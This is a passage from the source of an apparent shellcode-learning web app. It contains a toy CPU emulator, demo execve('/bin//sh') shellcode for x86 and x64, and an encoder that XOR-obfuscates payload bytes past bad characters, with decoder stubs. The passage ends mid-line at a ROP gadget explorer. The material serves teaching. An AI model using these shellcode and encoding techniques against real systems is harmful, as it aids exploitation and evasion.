0xFFFFFFFF; // Update stack display if writing to stack region const stackBase = ar.bits === 64 ? STACK_BASE_64 : STACK_BASE_32; if (addr <= stackBase && addr >= stackBase - 256) { const existing = cpu.stack.findIndex(e => e.addr === addr); if (existing >= 0) cpu.stack[existing].value = val; } }; // Unified value getter: handles registers, immediates, and memory const getVal = (operand) => { if (!operand) return 0; if (isMem(operand)) return readMem(operand); const op = cleanOp(operand); if (isReg(op, archKey)) return getReg(op); return parseImm(op); }; // Unified value setter: handles registers and memory destinations const setDst = (operand, val) => { if (isMem(operand)) { writeMem(operand, val); return; } setReg(operand, val); }; // Check for "byte" prefix to determine operation width const isBytePrefixed = (operand) => { return operand && operand.trim().toLowerCase().startsWith("byte "); }; const stripSizePrefix = (operand) => { if (!operand) return operand; return operand.replace(/^(byte|word|dword|qword)\s+/i, ""); }; const updateFlags = (result) => { const masked = result & 0xFFFFFFFF; cpu.flags.ZF = masked === 0 ? 1 : 0; cpu.flags.SF = (masked & 0x80000000) ? 1 : 0; cpu.flags.CF = (result < 0 || result > 0xFFFFFFFF) ? 1 : 0; cpu.flags.OF = 0; // simplified }; const pushStack = (val) => { cpu.regs[spName] -= wordSize; const addr = cpu.regs[spName]; cpu.memory[addr] = val; cpu.stack.unshift({ addr, value: val, label: "" }); if (cpu.stack.length > 32) cpu.stack.pop(); }; const popStack = () => { const addr = cpu.regs[spName]; const val = cpu.memory[addr] || 0; cpu.regs[spName] += wordSize; cpu.stack.shift(); return val; }; const { op, operands } = instr; let nextPc = cpu.pc + 1; switch (op) { // ── Data Movement ── case "mov": case "movl": case "movq": { const d = stripSizePrefix(operands[0]); const s = stripSizePrefix(operands[1]); setDst(d, getVal(s)); break; } case "movabs": { setDst(operands[0], getVal(operands[1])); break; } case "push": { pushStack(getVal(operands[0])); break; } case "pop": { setDst(operands[0], popStack()); break; } case "lea": { if (isMem(operands[1])) setReg(operands[0], resolveAddr(operands[1])); else setReg(operands[0], getVal(operands[1])); break; } case "xchg": { const va = getVal(operands[0]), vb = getVal(operands[1]); setDst(operands[0], vb); setDst(operands[1], va); break; } // ── Arithmetic ── case "add": case "addl": case "addq": { const d = stripSizePrefix(operands[0]); const result = getVal(d) + getVal(stripSizePrefix(operands[1])); setDst(d, result); updateFlags(result); break; } case "sub": case "subl": case "subq": { const d = stripSizePrefix(operands[0]); const result = getVal(d) - getVal(stripSizePrefix(operands[1])); setDst(d, result); updateFlags(result); break; } case "inc": { const d = stripSizePrefix(operands[0]); const result = getVal(d) + 1; setDst(d, result); updateFlags(result); break; } case "dec": { const d = stripSizePrefix(operands[0]); const result = getVal(d) - 1; setDst(d, result); updateFlags(result); break; } case "neg": { const d = stripSizePrefix(operands[0]); const result = -getVal(d); setDst(d, result); updateFlags(result); break; } case "mul": { const result = getReg("eax") * getVal(operands[0]); setReg("eax", result & 0xFFFFFFFF); setReg("edx", (result >>> 32) & 0xFFFFFFFF); updateFlags(result); break; } case "imul": { if (operands.length === 1) { const result = getReg("eax") * getVal(operands[0]); setReg("eax", result); updateFlags(result); } else { const result = getVal(operands[0]) * getVal(operands[1]); setDst(operands[0], result); updateFlags(result); } break; } case "div": { const divisor = getVal(operands[0]); if (divisor === 0) { cpu.output.push({ text: "Division by zero!", type: "err" }); cpu.halted = true; break; } const dividend = getReg("eax"); setReg("eax", Math.floor(dividend / divisor)); setReg("edx", dividend % divisor); break; } // ── Logic & Bitwise ── case "and": case "andl": { const d = stripSizePrefix(operands[0]); const result = getVal(d) & getVal(stripSizePrefix(operands[1])); setDst(d, result); updateFlags(result); break; } case "or": case "orl": case "orr": { const d = stripSizePrefix(operands[0]); const result = getVal(d) | getVal(stripSizePrefix(operands[1])); setDst(d, result); updateFlags(result); break; } case "xor": case "xorl": case "eor": { const d = stripSizePrefix(operands[0]); const result = getVal(d) ^ getVal(stripSizePrefix(operands[1])); setDst(d, result); updateFlags(result); break; } case "not": { const d = stripSizePrefix(operands[0]); setDst(d, ~getVal(d)); break; } case "shl": case "sal": { const d = stripSizePrefix(operands[0]); const result = getVal(d) << getVal(operands[1] || "1"); setDst(d, result); updateFlags(result); break; } case "shr": { const d = stripSizePrefix(operands[0]); const result = getVal(d) >>> getVal(operands[1] || "1"); setDst(d, result); updateFlags(result); break; } case "sar": { const d = stripSizePrefix(operands[0]); const result = getVal(d) >> getVal(operands[1] || "1"); setDst(d, result); updateFlags(result); break; } case "rol": { const cnt = getVal(operands[1] || "1") & 31; const d = stripSizePrefix(operands[0]); const v = getVal(d); setDst(d, ((v << cnt) | (v >>> (32 - cnt))) & 0xFFFFFFFF); break; } case "ror": { const cnt = getVal(operands[1] || "1") & 31; const d = stripSizePrefix(operands[0]); const v = getVal(d); setDst(d, ((v >>> cnt) | (v << (32 - cnt))) & 0xFFFFFFFF); break; } // ── Comparison ── case "cmp": case "cmpl": { const result = getVal(stripSizePrefix(operands[0])) - getVal(stripSizePrefix(operands[1])); updateFlags(result); break; } case "test": case "testl": { const result = getVal(stripSizePrefix(operands[0])) & getVal(stripSizePrefix(operands[1])); updateFlags(result); break; } // ── Control Flow ── case "jmp": case "b": { const target = cleanOp(operands[0]).replace("short ",""); if (labels[target] !== undefined) nextPc = labels[target]; break; } case "je": case "jz": case "beq": { if (cpu.flags.ZF === 1) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "jne": case "jnz": case "bne": { if (cpu.flags.ZF === 0) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "jg": case "jnle": case "bgt": { if (cpu.flags.ZF === 0 && cpu.flags.SF === cpu.flags.OF) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "jl": case "jnge": case "blt": { if (cpu.flags.SF !== cpu.flags.OF) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "jge": case "jnl": case "bge": { if (cpu.flags.SF === cpu.flags.OF) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "jle": case "jng": case "ble": { if (cpu.flags.ZF === 1 || cpu.flags.SF !== cpu.flags.OF) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "ja": case "jnbe": { if (cpu.flags.CF === 0 && cpu.flags.ZF === 0) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "jb": case "jnae": case "jc": { if (cpu.flags.CF === 1) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "js": { if (cpu.flags.SF === 1) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "jns": { if (cpu.flags.SF === 0) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "call": case "bl": { const retAddr = CODE_BASE + ((cpu.pc + 1) * 4); pushStack(retAddr); const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; break; } case "ret": case "bx": { const retAddr = popStack(); const instrOffset = (retAddr - CODE_BASE) / 4; if (instrOffset >= 0) nextPc = instrOffset; else { cpu.halted = true; cpu.output.push({ text: "Program returned", type: "ok" }); } break; } case "loop": { const cxReg = archKey === "x64" ? "rcx" : "ecx"; const newCx = getReg(cxReg) - 1; setReg(cxReg, newCx); if (newCx !== 0) { const target = cleanOp(operands[0]); if (labels[target] !== undefined) nextPc = labels[target]; } break; } case "nop": break; // ── Syscalls ── case "int": { const intNum = parseImm(operands[0]); if (intNum === 0x80) { const sysNum = getReg("eax"); cpu.output.push({ text: `syscall: ${ARCHS.x86.syscalls[sysNum]?.name || "unknown"} (${sysNum})`, type: "sys" }); if (sysNum === 1) { cpu.halted = true; cpu.output.push({ text: `exit(${getReg("ebx")})`, type: "ok" }); } else if (sysNum === 4) { cpu.output.push({ text: `write(${getReg("ebx")}, buf, ${getReg("edx")})`, type: "info" }); } else if (sysNum === 11) { cpu.output.push({ text: `execve() — shell spawned!`, type: "ok" }); cpu.halted = true; } } break; } case "syscall": { const sysNum = getReg(archKey === "x64" ? "rax" : "eax"); const sc = ARCHS[archKey].syscalls[sysNum]; cpu.output.push({ text: `syscall: ${sc?.name || "unknown"} (${sysNum})`, type: "sys" }); if (sysNum === 60 || sysNum === 93) { cpu.halted = true; cpu.output.push({ text: `exit(${getReg(archKey === "x64" ? "rdi" : "r0")})`, type: "ok" }); } else if (sysNum === 1 || sysNum === 64) { cpu.output.push({ text: `write(fd, buf, ${getReg(archKey === "x64" ? "rdx" : "r2")})`, type: "info" }); } else if (sysNum === 59 || sysNum === 221) { cpu.output.push({ text: `execve() — shell spawned!`, type: "ok" }); cpu.halted = true; } break; } case "svc": { const sysNum = getReg(archKey === "arm64" ? "x8" : "r7"); const sc = ARCHS[archKey].syscalls[sysNum]; cpu.output.push({ text: `svc: ${sc?.name || "unknown"} (${sysNum})`, type: "sys" }); if (sysNum === 1 || sysNum === 93) { cpu.halted = true; } else if (sysNum === 11 || sysNum === 221) { cpu.output.push({ text: `execve() — shell spawned!`, type: "ok" }); cpu.halted = true; } break; } default: cpu.output.push({ text: `Unsupported instruction: ${op}`, type: "warn" }); } cpu.pc = nextPc; cpu.regs[ipName] = CODE_BASE + (cpu.pc * 4); return cpu; } // ── Debugger Programs (pre-loaded demos) ── const DBG_PROGRAMS = { x86: { "exit(0)": `; exit(0) — minimal x86 xor eax, eax xor ebx, ebx mov al, 0x1 int 0x80`, "loop counter": `; Count down from 5 mov ecx, 5 mov eax, 0 loop_start: add eax, 1 dec ecx jnz loop_start ; eax = 5 when done`, "stack string": `; Build /bin on stack xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp ; ebx now points to /bin//sh`, "xor zeroing": `; Three ways to zero a register xor eax, eax sub ebx, ebx push 0 pop ecx ; All three are now 0`, "function call": `; Simple call/ret call myFunc mov ebx, eax xor eax, eax mov al, 1 int 0x80 myFunc: mov eax, 42 ret`, }, x64: { "exit(0)": `; exit(0) — x86-64 xor rdi, rdi push 60 pop rax syscall`, "register chain": `; Pass values through registers mov rdi, 0x41 mov rsi, rdi add rsi, 0x20 mov rdx, rsi xor rax, rax mov al, 1 syscall`, "stack build": `; Build /bin//sh on stack — x64 xor rsi, rsi push rsi mov rdi, 0x68732f2f6e69622f push rdi mov rdi, rsp xor rdx, rdx push 59 pop rax syscall`, }, arm32: { "exit(0)": `; ARM exit mov r0, #0 mov r7, #1 svc #0`, "add loop": `; Count to 10 mov r0, #0 mov r1, #10 loop: add r0, r0, #1 sub r1, r1, #1 cmp r1, #0 bne loop`, }, arm64: { "exit(0)": `; AArch64 exit mov x0, #0 mov x8, #93 svc #0`, "register math": `; Register operations mov x0, #100 mov x1, #25 sub x2, x0, x1 add x3, x0, x1 ; x2=75, x3=125`, }, }; // ── Error Boundary ── class ShellLabErrorBoundary extends React.Component { constructor(props) { super(props); this.state = { hasError: false, error: null }; } static getDerivedStateFromError(error) { return { hasError: true, error }; } render() { if (this.state.hasError) { return React.createElement("div", { style: { background: "#0a0e14", minHeight: "100vh", display: "flex", alignItems: "center", justifyContent: "center", padding: 40 } }, React.createElement("div", { style: { background: "#0f1318", border: "1px solid #ff4757", borderRadius: 8, padding: 32, maxWidth: 500, textAlign: "center" } }, React.createElement("div", { style: { fontSize: 32, marginBottom: 12 } }, "⚠"), React.createElement("div", { style: { fontFamily: "'Share Tech Mono', monospace", color: "#ff4757", fontSize: 14, letterSpacing: 2, marginBottom: 12 } }, "SHELL//LAB — RUNTIME ERROR"), React.createElement("div", { style: { fontFamily: "'Fira Code', monospace", color: "#8899aa", fontSize: 11, marginBottom: 16, wordBreak: "break-all" } }, String(this.state.error?.message || "Unknown error")), React.createElement("button", { onClick: () => this.setState({ hasError: false, error: null }), style: { background: "#39ff1418", border: "1px solid #39ff1444", color: "#39ff14", padding: "8px 24px", borderRadius: 4, cursor: "pointer", fontFamily: "'Barlow Condensed', sans-serif", fontSize: 13, fontWeight: 700 } }, "▸ RESET") ) ); } return this.props.children; } } // ── Main App ── function ShellLabInner() { const [arch, setArch] = useState("x86"); const [tab, setTab] = useState("ref"); const [subTab, setSubTab] = useState(null); const [selTemplate, setSelTemplate] = useState(null); const [selLesson, setSelLesson] = useState(0); const [lessonSection, setLessonSection] = useState(0); const [selExercise, setSelExercise] = useState(0); const [showAnswer, setShowAnswer] = useState(false); const [editorCode, setEditorCode] = useState(""); const [consoleOut, setConsoleOut] = useState([]); const [exerciseScores, setExerciseScores] = useState({}); // Must be declared before hooks that reference it const a = ARCHS[arch]; // ── Debugger State ── const [dbgCode, setDbgCode] = useState(""); const [dbgCpu, setDbgCpu] = useState(null); const [dbgParsed, setDbgParsed] = useState(null); const [dbgLabels, setDbgLabels] = useState({}); const [dbgRunning, setDbgRunning] = useState(false); const [dbgPrevRegs, setDbgPrevRegs] = useState({}); const [dbgStepCount, setDbgStepCount] = useState(0); const [dbgSpeed, setDbgSpeed] = useState(500); const dbgIntervalRef = useRef(null); // Debugger actions const dbgLoad = useCallback((code) => { const src = code || dbgCode; if (!src.trim()) return; const { instructions, labels } = parseAsmLines(src, arch); const cpu = createCpuState(arch); setDbgParsed(instructions); setDbgLabels(labels); setDbgCpu(cpu); setDbgPrevRegs({}); setDbgStepCount(0); setDbgRunning(false); if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current); }, [dbgCode, arch]); const dbgStep = useCallback(() => { if (!dbgCpu || !dbgParsed || dbgCpu.halted) return; const instrs = dbgParsed.filter(p => p.type === "instr"); if (dbgCpu.pc >= instrs.length) { setDbgCpu(prev => ({ ...prev, halted: true, output: [...prev.output, { text: "End of program", type: "ok" }] })); return; } const instr = instrs[dbgCpu.pc]; const prevRegs = { ...dbgCpu.regs }; const newCpu = { ...dbgCpu, regs: { ...dbgCpu.regs }, flags: { ...dbgCpu.flags }, memory: { ...dbgCpu.memory }, stack: [...dbgCpu.stack], output: [...dbgCpu.output], history: [...dbgCpu.history] }; execInstruction(newCpu, instr, dbgLabels, arch); setDbgPrevRegs(prevRegs); setDbgCpu(newCpu); setDbgStepCount(prev => prev + 1); }, [dbgCpu, dbgParsed, dbgLabels, arch]); const dbgRun = useCallback(() => { if (!dbgCpu || dbgCpu.halted) return; setDbgRunning(true); }, [dbgCpu]); const dbgPause = useCallback(() => { setDbgRunning(false); if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current); }, []); const dbgReset = useCallback(() => { setDbgRunning(false); if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current); if (dbgCode.trim()) dbgLoad(dbgCode); }, [dbgCode, dbgLoad]); const dbgUndo = useCallback(() => { if (!dbgCpu || !dbgCpu.history.length) return; const prev = dbgCpu.history[dbgCpu.history.length - 1]; const newHistory = dbgCpu.history.slice(0, -1); setDbgCpu({ ...dbgCpu, regs: prev.regs, flags: prev.flags, memory: prev.memory, stack: prev.stack, pc: dbgCpu.pc > 0 ? dbgCpu.pc - 1 : 0, halted: false, history: newHistory }); setDbgStepCount(prev => Math.max(0, prev - 1)); }, [dbgCpu]); // Auto-run interval useEffect(() => { if (dbgRunning && dbgCpu && !dbgCpu.halted) { dbgIntervalRef.current = setInterval(() => { dbgStepPhase2(); }, dbgSpeed); return () => clearInterval(dbgIntervalRef.current); } else { if (dbgIntervalRef.current) clearInterval(dbgIntervalRef.current); if (dbgCpu?.halted) setDbgRunning(false); } }, [dbgRunning, dbgCpu?.halted, dbgSpeed]); // Load default program when switching arch useEffect(() => { const progs = DBG_PROGRAMS[arch]; if (progs) { const firstKey = Object.keys(progs)[0]; setDbgCode(progs[firstKey]); } }, [arch]); // ── Phase 2: Hover state for register cross-references ── const [dbgHoverReg, setDbgHoverReg] = useState(null); const [dbgShowBytes, setDbgShowBytes] = useState(true); const [dbgShowXrefs, setDbgShowXrefs] = useState(true); const [dbgPrevFlags, setDbgPrevFlags] = useState({ ZF: 0, CF: 0, SF: 0, OF: 0 }); // Override dbgStep to also track previous flags const dbgStepPhase2 = useCallback(() => { if (!dbgCpu || !dbgParsed || dbgCpu.halted) return; const instrs = dbgParsed.filter(p => p.type === "instr"); if (dbgCpu.pc >= instrs.length) { setDbgCpu(prev => ({ ...prev, halted: true, output: [...prev.output, { text: "End of program", type: "ok" }] })); return; } const instr = instrs[dbgCpu.pc]; const prevRegs = { ...dbgCpu.regs }; const prevFlags = { ...dbgCpu.flags }; const newCpu = { ...dbgCpu, regs: { ...dbgCpu.regs }, flags: { ...dbgCpu.flags }, memory: { ...dbgCpu.memory }, stack: [...dbgCpu.stack], output: [...dbgCpu.output], history: [...dbgCpu.history] }; execInstruction(newCpu, instr, dbgLabels, arch); setDbgPrevRegs(prevRegs); setDbgPrevFlags(prevFlags); setDbgCpu(newCpu); setDbgStepCount(prev => prev + 1); }, [dbgCpu, dbgParsed, dbgLabels, arch]); // Opcode byte estimation for common instructions const estimateOpcodeBytes = useCallback((instr, archKey) => { if (!instr || instr.type !== "instr") return ""; const { op, operands } = instr; const ar = ARCHS[archKey]; // Simplified opcode encoding for display purposes const opcodeMap = { "nop": "90", "ret": ar.bits === 64 ? "c3" : "c3", "syscall": "0f 05", "int": "cd 80", "svc": "ef 00 00 00", }; if (opcodeMap[op]) return opcodeMap[op]; // Common x86/x64 patterns if (archKey === "x86" || archKey === "x64") { const rex = archKey === "x64" ? "48 " : ""; const regCodes = { "eax": 0, "ecx": 1, "edx": 2, "ebx": 3, "esp": 4, "ebp": 5, "esi": 6, "edi": 7, "rax": 0, "rcx": 1, "rdx": 2, "rbx": 3, "rsp": 4, "rbp": 5, "rsi": 6, "rdi": 7, "r8": 0, "r9": 1, "r10": 2, "r11": 3, "r12": 4, "r13": 5, "r14": 6, "r15": 7 }; const dst = cleanOp(operands?.[0]); const src = cleanOp(operands?.[1]); const dstCode = regCodes[dst]; const srcCode = regCodes[src]; switch (op) { case "xor": if (dst === src && dstCode !== undefined) return rex + (0x31).toString(16) + " " + (0xc0 + dstCode * 9).toString(16); if (dstCode !== undefined && srcCode !== undefined) return rex + "31 " + (0xc0 + srcCode * 8 + dstCode).toString(16); break; case "mov": if (dstCode !== undefined && !isNaN(parseImm(src))) { const imm = parseImm(src); if (imm >= 0 && imm <= 255 && dst.startsWith("al") || dst.endsWith("l")) return "b0 " + imm.toString(16).padStart(2, "0"); if (imm >= 0 && imm <= 255) return rex + (0xb8 + dstCode).toString(16) + " " + imm.toString(16).padStart(2, "0") + " 00 00 00"; return rex + (0xb8 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 8) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 16) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 24) & 0xFF).toString(16).padStart(2,"0"); } if (dstCode !== undefined && srcCode !== undefined) return rex + "89 " + (0xc0 + srcCode * 8 + dstCode).toString(16); break; case "push": if (dstCode !== undefined) return (0x50 + dstCode).toString(16); if (!isNaN(parseImm(dst))) { const imm = parseImm(dst); if (imm >= -128 && imm <= 127) return "6a " + (imm & 0xFF).toString(16).padStart(2, "0"); return "68 " + (imm & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 8) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 16) & 0xFF).toString(16).padStart(2,"0") + " " + ((imm >> 24) & 0xFF).toString(16).padStart(2,"0"); } break; case "pop": if (dstCode !== undefined) return (0x58 + dstCode).toString(16); break; case "add": if (dstCode !== undefined && !isNaN(parseImm(src))) { const imm = parseImm(src); if (imm >= -128 && imm <= 127) return rex + "83 " + (0xc0 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2, "0"); } if (dstCode !== undefined && srcCode !== undefined) return rex + "01 " + (0xc0 + srcCode * 8 + dstCode).toString(16); break; case "sub": if (dstCode !== undefined && !isNaN(parseImm(src))) { const imm = parseImm(src); if (imm >= -128 && imm <= 127) return rex + "83 " + (0xe8 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2, "0"); } break; case "inc": if (dstCode !== undefined) return archKey === "x64" ? rex + "ff " + (0xc0 + dstCode).toString(16) : (0x40 + dstCode).toString(16); break; case "dec": if (dstCode !== undefined) return archKey === "x64" ? rex + "ff " + (0xc8 + dstCode).toString(16) : (0x48 + dstCode).toString(16); break; case "cmp": if (dstCode !== undefined && !isNaN(parseImm(src))) { const imm = parseImm(src); if (imm >= -128 && imm <= 127) return rex + "83 " + (0xf8 + dstCode).toString(16) + " " + (imm & 0xFF).toString(16).padStart(2, "0"); } break; case "test": if (dst === src && dstCode !== undefined) return rex + "85 " + (0xc0 + dstCode * 9).toString(16); break; case "and": if (dstCode !== undefined && !isNaN(parseImm(src))) return rex + "81 " + (0xe0 + dstCode).toString(16) + " " + (parseImm(src) & 0xFF).toString(16).padStart(2, "0") + " 00 00 00"; break; case "or": if (dstCode !== undefined && srcCode !== undefined) return rex + "09 " + (0xc0 + srcCode * 8 + dstCode).toString(16); break; case "not": if (dstCode !== undefined) return rex + "f7 " + (0xd0 + dstCode).toString(16); break; case "neg": if (dstCode !== undefined) return rex + "f7 " + (0xd8 + dstCode).toString(16); break; case "jmp": return "eb xx"; case "je": case "jz": return "74 xx"; case "jne": case "jnz": return "75 xx"; case "jg": case "jnle": return "7f xx"; case "jl": case "jnge": return "7c xx"; case "jge": case "jnl": return "7d xx"; case "jle": case "jng": return "7e xx"; case "ja": case "jnbe": return "77 xx"; case "jb": case "jnae": return "72 xx"; case "js": return "78 xx"; case "jns": return "79 xx"; case "call": return "e8 xx xx xx xx"; case "loop": return "e2 xx"; default: break; } } // ARM stubs if (archKey === "arm32") { if (op === "svc") return "ef 00 00 00"; if (op === "bx" && cleanOp(operands?.[0]) === "lr") return "1e ff 2f e1"; return ".. .. .. .."; } if (archKey === "arm64") { if (op === "svc") return "01 00 00 d4"; if (op === "ret") return "c0 03 5f d6"; return ".. .. .. .."; } return ".."; }, [arch]); // Compute register cross-references for hovered register const computeXrefs = useCallback((reg, parsed) => { if (!reg || !parsed) return { reads: [], writes: [] }; const reads = []; const writes = []; const rLow = reg.toLowerCase(); let instrIdx = 0; parsed.forEach((p, i) => { if (p.type !== "instr") return; const opLow = p.op; const ops = (p.operands || []).map(o => cleanOp(o)); // First operand is typically destination (write) for mov, add, sub, xor, etc. const writeOps = ["mov","movl","movq","movabs","add","addl","addq","sub","subl","subq","xor","xorl","and","andl","or","orl","orr","eor","shl","shr","sar","rol","ror","not","neg","inc","dec","pop","lea","mul","imul","div"]; if (writeOps.includes(opLow) && ops[0] === rLow) writes.push(instrIdx); // Check all operands for reads ops.forEach((o, oi) => { if (o === rLow) { if (writeOps.includes(opLow) && oi === 0) { /* already counted as write */ } else reads.push(instrIdx); // xor reg, reg is both read and write of same reg if ((opLow === "xor" || opLow === "eor") && oi === 1 && ops[0] === rLow) reads.push(instrIdx); // For add/sub/and/or/xor, dst is also read if (["add","sub","and","or","xor","shl","shr","sar","rol","ror"].includes(opLow) && oi === 0) reads.push(instrIdx); } }); // push reads the operand if (opLow === "push" && ops[0] === rLow) reads.push(instrIdx); // cmp/test reads both operands if ((opLow === "cmp" || opLow === "test") && ops.includes(rLow)) reads.push(instrIdx); // call/ret/int/syscall implicitly use registers if (opLow === "int" || opLow === "syscall" || opLow === "svc") { if (a.syscallArgs.includes(rLow) || rLow === a.syscallReg) reads.push(instrIdx); } instrIdx++; }); return { reads: [...new Set(reads)], writes: [...new Set(writes)] }; }, [a]); const dbgXrefs = useMemo(() => { if (!dbgHoverReg || !dbgParsed) return { reads: [], writes: [] }; return computeXrefs(dbgHoverReg, dbgParsed); }, [dbgHoverReg, dbgParsed, computeXrefs]); // ═══ ENCODER WORKSHOP STATE ═══ const [encInput, setEncInput] = useState(""); const [encBadChars, setEncBadChars] = useState("00,0a,0d"); const [encMethod, setEncMethod] = useState("xor1"); // xor1, xorN, add, sub, rol const [encKey, setEncKey] = useState(""); const [encAutoKey, setEncAutoKey] = useState(true); const [encResult, setEncResult] = useState(null); // Parse hex input string to byte array const parseHexInput = useCallback((input) => { const clean = input.replace(/\\x/g, " ").replace(/0x/g, " ").replace(/,/g, " ").replace(/[^0-9a-fA-F\s]/g, "").trim(); if (!clean) return []; return clean.split(/\s+/).filter(Boolean).map(h => parseInt(h, 16)).filter(b => !isNaN(b) && b >= 0 && b <= 255); }, []); const parseBadChars = useCallback((input) => { return parseHexInput(input); }, [parseHexInput]); // Find optimal single-byte XOR key that avoids all bad chars const findXorKey = useCallback((bytes, badChars) => { for (let key = 1; key <= 255; key++) { if (badChars.includes(key)) continue; let valid = true; for (const b of bytes) { const encoded = b ^ key; if (badChars.includes(encoded)) { valid = false; break; } } if (valid) return key; } return null; }, []); // Find multi-byte key const findMultiKey = useCallback((bytes, badChars, keyLen = 4) => { const key = []; for (let ki = 0; ki < keyLen; ki++) { let found = false; for (let k = 1; k <= 255; k++) { if (badChars.includes(k)) continue; let valid = true; for (let bi = ki; bi < bytes.length; bi += keyLen) { if (badChars.includes(bytes[bi] ^ k)) { valid = false; break; } } if (valid) { key.push(k); found = true; break; } } if (!found) key.push(0xAA); } return key; }, []); // Encode shellcode const runEncode = useCallback(() => { const bytes = parseHexInput(encInput); if (bytes.length === 0) return; const badChars = parseBadChars(encBadChars); let encoded = []; let keyUsed = []; let decoderStub = ""; let decoderBytes = []; if (encMethod === "xor1") { let key; if (encAutoKey) { key = findXorKey(bytes, badChars); if (key === null) { setEncResult({ error: "No valid single-byte XOR key found. Try multi-byte or different bad chars." }); return; } } else { key = parseHexInput(encKey)[0] || 0xAA; } keyUsed = [key]; encoded = bytes.map(b => b ^ key); if (arch === "x86") { decoderStub = `; XOR Decoder Stub — x86 (key: 0x${key.toString(16).padStart(2,"0")}) jmp short _get_addr _decoder: pop esi ; ESI = shellcode address xor ecx, ecx mov cl, ${bytes.length} ; shellcode length _decode_loop: xor byte [esi], 0x${key.toString(16).padStart(2,"0")} ; XOR with key inc esi loop _decode_loop jmp short _shellcode _get_addr: call _decoder _shellcode: ; `; decoderBytes = [0xEB, 0x0D, 0x5E, 0x31, 0xC9, 0xB1, bytes.length & 0xFF, 0x80, 0x36, key, 0x46, 0xE2, 0xFB, 0xEB, 0x05, 0xE8, 0xEE, 0xFF, 0xFF, 0xFF]; } else { decoderStub = `; XOR Decoder Stub — x86-64 (key: 0x${key.toString(16).padStart(2,"0")}) jmp short _get_addr _decoder: pop rsi ; RSI = shellcode address xor rcx, rcx mov cl, ${bytes.length} ; shellcode length _decode_loop: xor byte [rsi], 0x${key.toString(16).padStart(2,"0")} ; XOR with key inc rsi loop _decode_loop jmp short _shellcode _get_addr: call _decoder _shellcode: ; `; decoderBytes = [0xEB, 0x11, 0x5E, 0x48, 0x31, 0xC9, 0xB1, bytes.length & 0xFF, 0x80, 0x36, key, 0x48, 0xFF, 0xC6, 0xE2, 0xF8, 0xEB, 0x05, 0xE8, 0xEA, 0xFF, 0xFF, 0xFF]; } } else if (encMethod === "xorN") { const keyArr = encAutoKey ? findMultiKey(bytes, badChars, 4) : parseHexInput(encKey).slice(0, 8); if (keyArr.length === 0) { setEncResult({ error: "Invalid multi-byte key" }); return; } keyUsed = keyArr; encoded = bytes.map((b, i) => b ^ keyArr[i % keyArr.length]); decoderStub = `; Rolling XOR Decoder — key: ${keyArr.map(k => "0x" + k.toString(16).padStart(2,"0")).join(" ")} ; Key length: ${keyArr.length}, Payload: ${bytes.length} bytes ; Decoder uses the same JMP-CALL-POP pattern ; with a key index that wraps every ${keyArr.length} bytes`; decoderBytes = [0x90]; // placeholder } else if (encMethod === "add") { let key; if (encAutoKey) { for (let k = 1; k <= 255; k++) { if (badChars.includes(k)) continue; let ok = true; for (const b of bytes) { if (badChars.includes((b + k) & 0xFF)) { ok = false; break; } } if (ok) { key = k; break; } } if (!key) { setEncResult({ error: "No valid ADD key found." }); return; } } else { key = parseHexInput(encKey)[0] || 5; } keyUsed = [key]; encoded = bytes.map(b => (b + key) & 0xFF); decoderStub = `; ADD Encoder (key: 0x${key.toString(16).padStart(2,"0")}) ; Decoder SUBtracts key from each byte ; SUB byte [esi], 0x${key.toString(16).padStart(2,"0")} in loop`; decoderBytes = [0x90]; } else if (encMethod === "sub") { let key; if (encAutoKey) { for (let k = 1; k <= 255; k++) { if (badChars.includes(k)) continue; let ok = true; for (const b of bytes) { if (badChars.includes((b - k + 256) & 0xFF)) { ok = false; break; } } if (ok) { key = k; break; } } if (!key) { setEncResult({ error: "No valid SUB key found." }); return; } } else { key = parseHexInput(encKey)[0] || 5; } keyUsed = [key]; encoded = bytes.map(b => (b - key + 256) & 0xFF); decoderStub = `; SUB Encoder (key: 0x${key.toString(16).padStart(2,"0")}) ; Decoder ADDs key to each byte`; decoderBytes = [0x90]; } else if (encMethod === "rol") { const bits = encAutoKey ? 3 : (parseHexInput(encKey)[0] || 3); keyUsed = [bits]; encoded = bytes.map(b => ((b << bits) | (b >>> (8 - bits))) & 0xFF); decoderStub = `; ROL Encoder (${bits} bits) ; Decoder RORs each byte by ${bits}`; decoderBytes = [0x90]; } // Check encoded for bad chars const encodedBadChars = []; encoded.forEach((b, i) => { if (badChars.includes(b)) encodedBadChars.push({ index: i, value: b }); }); setEncResult({ original: bytes, encoded, key: keyUsed, method: encMethod, decoderStub, decoderBytes, badChars, encodedBadChars, totalSize: decoderBytes.length + encoded.length, }); }, [encInput, encBadChars, encMethod, encKey, encAutoKey, arch, parseHexInput, parseBadChars, findXorKey, findMultiKey]); // Load shellcode from template into encoder const loadTemplateToEncoder = useCallback((templateBytes) => { const clean = templateBytes.replace(/\.\.\./g, "").trim(); setEncInput(clean); setEncResult(null); }, []); // ═══ ROP GADGET EXPLORER STATE ═══ const [ropChain, setRopChain] = useState([]); const [ropSearch, 